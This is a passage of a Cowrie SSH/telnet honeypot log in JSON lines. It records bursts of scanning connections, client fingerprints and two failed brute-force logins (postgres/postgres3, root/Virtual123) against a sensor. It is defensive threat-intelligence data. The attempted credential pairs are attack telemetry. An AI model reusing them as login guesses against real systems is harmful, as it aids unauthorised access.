0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:57.350625Z","src_ip":"213.209.159.158","session":"276e53d49e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46666,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a38623cdf61","protocol":"telnet","message":"New connection: 162.55.233.176:46666 (159.203.135.109:23) [session: 7a38623cdf61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:57.525088Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46674,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed55916b3d08","protocol":"telnet","message":"New connection: 162.55.233.176:46674 (159.203.135.109:23) [session: ed55916b3d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:57.613402Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46688,"dst_ip":"159.203.135.109","dst_port":23,"session":"c679c64516d4","protocol":"telnet","message":"New connection: 162.55.233.176:46688 (159.203.135.109:23) [session: c679c64516d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:57.643532Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46702,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7c035449d49","protocol":"telnet","message":"New connection: 162.55.233.176:46702 (159.203.135.109:23) [session: c7c035449d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:57.791377Z"}
{"eventid":"cowrie.session.closed","duration":31.968742609024048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:57.966397Z","src_ip":"162.55.233.176","session":"b63012bfca98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46718,"dst_ip":"159.203.135.109","dst_port":23,"session":"448eae43866b","protocol":"telnet","message":"New connection: 162.55.233.176:46718 (159.203.135.109:23) [session: 448eae43866b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:58.059272Z"}
{"eventid":"cowrie.session.closed","duration":30.391697883605957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:58.103668Z","src_ip":"162.55.233.176","session":"4650a22c7c0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":54825,"dst_ip":"159.203.135.109","dst_port":22,"session":"69cedfe21aee","protocol":"ssh","message":"New connection: 103.170.173.26:54825 (159.203.135.109:22) [session: 69cedfe21aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:58.624568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:58.627783Z","src_ip":"103.170.173.26","session":"69cedfe21aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46732,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a9da9ce56bf","protocol":"telnet","message":"New connection: 162.55.233.176:46732 (159.203.135.109:23) [session: 7a9da9ce56bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:58.648820Z"}
{"eventid":"cowrie.session.closed","duration":33.8478045463562,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:58.755597Z","src_ip":"162.55.233.176","session":"8e6ddccc42bb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:58.887636Z","src_ip":"103.170.173.26","session":"69cedfe21aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46734,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bb2d5eed2d5","protocol":"telnet","message":"New connection: 162.55.233.176:46734 (159.203.135.109:23) [session: 6bb2d5eed2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:59.465073Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46736,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bc7cc81439d","protocol":"telnet","message":"New connection: 162.55.233.176:46736 (159.203.135.109:23) [session: 4bc7cc81439d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:59.830158Z"}
{"eventid":"cowrie.session.closed","duration":12.961462020874023,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:59.956831Z","src_ip":"41.234.70.111","session":"13b695b01488","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres3","message":"login attempt [postgres/postgres3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:59.962653Z","src_ip":"103.170.173.26","session":"69cedfe21aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46738,"dst_ip":"159.203.135.109","dst_port":23,"session":"8822d356fb2f","protocol":"telnet","message":"New connection: 162.55.233.176:46738 (159.203.135.109:23) [session: 8822d356fb2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:00.519091Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46752,"dst_ip":"159.203.135.109","dst_port":23,"session":"52bc30d5edff","protocol":"telnet","message":"New connection: 162.55.233.176:46752 (159.203.135.109:23) [session: 52bc30d5edff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:00.894897Z"}
{"eventid":"cowrie.session.closed","duration":34.92379426956177,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:00.980094Z","src_ip":"162.55.233.176","session":"0d390cb5e7cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:01.225065Z","src_ip":"103.170.173.26","session":"69cedfe21aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59102,"dst_ip":"10.17.0.5","dst_port":23,"session":"911192af0c05","protocol":"telnet","message":"New connection: 206.189.32.23:59102 (10.17.0.5:23) [session: 911192af0c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:01.260302Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46756,"dst_ip":"159.203.135.109","dst_port":23,"session":"95083ac130b0","protocol":"telnet","message":"New connection: 162.55.233.176:46756 (159.203.135.109:23) [session: 95083ac130b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:01.406921Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46760,"dst_ip":"159.203.135.109","dst_port":23,"session":"6005ef03c792","protocol":"telnet","message":"New connection: 162.55.233.176:46760 (159.203.135.109:23) [session: 6005ef03c792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:01.683543Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46772,"dst_ip":"159.203.135.109","dst_port":23,"session":"cefd0948adc4","protocol":"telnet","message":"New connection: 162.55.233.176:46772 (159.203.135.109:23) [session: cefd0948adc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:01.839114Z"}
{"eventid":"cowrie.session.closed","duration":36.5599844455719,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:02.237902Z","src_ip":"162.55.233.176","session":"68d32408ee83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14044976234436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:02.407411Z","src_ip":"162.55.233.176","session":"f3f25aff883b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46786,"dst_ip":"159.203.135.109","dst_port":23,"session":"e104948dffcd","protocol":"telnet","message":"New connection: 162.55.233.176:46786 (159.203.135.109:23) [session: e104948dffcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:02.447746Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41672,"dst_ip":"159.203.135.109","dst_port":23,"session":"bae619613bee","protocol":"telnet","message":"New connection: 162.55.233.176:41672 (159.203.135.109:23) [session: bae619613bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:02.948138Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41676,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f8ad7cfc56e","protocol":"telnet","message":"New connection: 162.55.233.176:41676 (159.203.135.109:23) [session: 6f8ad7cfc56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:03.023850Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41684,"dst_ip":"159.203.135.109","dst_port":23,"session":"c935e93fdeac","protocol":"telnet","message":"New connection: 162.55.233.176:41684 (159.203.135.109:23) [session: c935e93fdeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:03.119899Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41690,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f93b1782c69","protocol":"telnet","message":"New connection: 162.55.233.176:41690 (159.203.135.109:23) [session: 1f93b1782c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:03.177402Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41694,"dst_ip":"159.203.135.109","dst_port":23,"session":"7daa4822be7f","protocol":"telnet","message":"New connection: 162.55.233.176:41694 (159.203.135.109:23) [session: 7daa4822be7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:03.246953Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41700,"dst_ip":"159.203.135.109","dst_port":23,"session":"861d0d31657a","protocol":"telnet","message":"New connection: 162.55.233.176:41700 (159.203.135.109:23) [session: 861d0d31657a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:03.559900Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41704,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe8d6d619cb","protocol":"telnet","message":"New connection: 162.55.233.176:41704 (159.203.135.109:23) [session: 3fe8d6d619cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:03.690699Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41716,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e1bf7397116","protocol":"telnet","message":"New connection: 162.55.233.176:41716 (159.203.135.109:23) [session: 3e1bf7397116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:03.920575Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41734,"dst_ip":"159.203.135.109","dst_port":23,"session":"5487fdc6d436","protocol":"telnet","message":"New connection: 162.55.233.176:41734 (159.203.135.109:23) [session: 5487fdc6d436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:04.264985Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41738,"dst_ip":"159.203.135.109","dst_port":23,"session":"baee016b0b8c","protocol":"telnet","message":"New connection: 162.55.233.176:41738 (159.203.135.109:23) [session: baee016b0b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:04.271375Z"}
{"eventid":"cowrie.session.closed","duration":35.715781927108765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:04.310361Z","src_ip":"162.55.233.176","session":"91de403fe462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811164617538452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:04.759949Z","src_ip":"162.55.233.176","session":"431643b3970f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90075469017029,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:04.859826Z","src_ip":"162.55.233.176","session":"5e13d7673e40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79607152938843,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:04.898488Z","src_ip":"162.55.233.176","session":"dc6e28865ce4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Virtual123","message":"login attempt [root/Virtual123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:04.947264Z","src_ip":"213.209.159.158","session":"276e53d49e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.7782027721405,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:04.992647Z","src_ip":"162.55.233.176","session":"94577326d5f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41802,"dst_ip":"159.203.135.109","dst_port":23,"session":"43fb02aa75a5","protocol":"telnet","message":"New connection: 162.55.233.176:41802 (159.203.135.109:23) [session: 43fb02aa75a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:05.112647Z"}
{"eventid":"cowrie.session.closed","duration":32.61911678314209,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:05.616099Z","src_ip":"162.55.233.176","session":"6f386d15ff28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.543769121170044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:05.637090Z","src_ip":"162.55.233.176","session":"e779100408d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0818133354187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:05.982158Z","src_ip":"162.55.233.176","session":"74a0f5ef9870","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41870,"dst_ip":"159.203.135.109","dst_port":23,"session":"21306cd52903","protocol":"telnet","message":"New connection: 162.55.233.176:41870 (159.203.135.109:23) [session: 21306cd52903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:06.654848Z"}
{"eventid":"cowrie.session.closed","duration":44.046761989593506,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:06.731447Z","src_ip":"162.55.233.176","session":"00cf69e6d147","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.385151147842407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:06.927443Z","src_ip":"162.55.233.176","session":"0e00cfb4e1a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41906,"dst_ip":"159.203.135.109","dst_port":23,"session":"81288f284c3c","protocol":"telnet","message":"New connection: 162.55.233.176:41906 (159.203.135.109:23) [session: 81288f284c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:07.101236Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41914,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c62d1cda054","protocol":"telnet","message":"New connection: 162.55.233.176:41914 (159.203.135.109:23) [session: 0c62d1cda054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:07.416377Z"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:07.621532Z","src_ip":"213.209.159.158","session":"276e53d49e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":17242,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff197658d8dd","protocol":"ssh","message":"New connection: 213.209.159.158:17242 (10.17.0.5:22) [session: ff197658d8dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:07.728492Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41924,"dst_ip":"159.203.135.109","dst_port":23,"session":"52305216eb7f","protocol":"telnet","message":"New connection: 162.55.233.176:41924 (159.203.135.109:23) [session: 52305216eb7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:07.877887Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41932,"dst_ip":"159.203.135.109","dst_port":23,"session":"95a5eff82b3e","protocol":"telnet","message":"New connection: 162.55.233.176:41932 (159.203.135.109:23) [session: 95a5eff82b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.129042Z"}
{"eventid":"cowrie.session.closed","duration":31.218241453170776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.159592Z","src_ip":"162.55.233.176","session":"5c94293ef376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.440553665161133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.293125Z","src_ip":"162.55.233.176","session":"fec83b3e811e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41956,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf06012c86f1","protocol":"telnet","message":"New connection: 162.55.233.176:41956 (159.203.135.109:23) [session: cf06012c86f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.335464Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41980,"dst_ip":"159.203.135.109","dst_port":23,"session":"0da011771228","protocol":"telnet","message":"New connection: 162.55.233.176:41980 (159.203.135.109:23) [session: 0da011771228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.540683Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41986,"dst_ip":"159.203.135.109","dst_port":23,"session":"84098b87b703","protocol":"telnet","message":"New connection: 162.55.233.176:41986 (159.203.135.109:23) [session: 84098b87b703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.546319Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41988,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6da220b3538","protocol":"telnet","message":"New connection: 162.55.233.176:41988 (159.203.135.109:23) [session: d6da220b3538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.690076Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":31830,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8f1e3b25ae2","protocol":"ssh","message":"New connection: 38.137.11.14:31830 (10.17.0.5:22) [session: f8f1e3b25ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.779266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.784184Z","src_ip":"38.137.11.14","session":"f8f1e3b25ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.146219968795776,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.788663Z","src_ip":"162.55.233.176","session":"b2848405b325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.81607794761658,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:08.885551Z","src_ip":"162.55.233.176","session":"95c95858ef9b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:09.016516Z","src_ip":"38.137.11.14","session":"f8f1e3b25ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42006,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6fa6a10ef97","protocol":"telnet","message":"New connection: 162.55.233.176:42006 (159.203.135.109:23) [session: e6fa6a10ef97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:09.054653Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41944,"dst_ip":"159.203.135.109","dst_port":23,"session":"b03fa3f66768","protocol":"telnet","message":"New connection: 162.55.233.176:41944 (159.203.135.109:23) [session: b03fa3f66768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:09.295805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:09.339780Z","src_ip":"213.209.159.158","session":"ff197658d8dd","protocol":"ssh"}
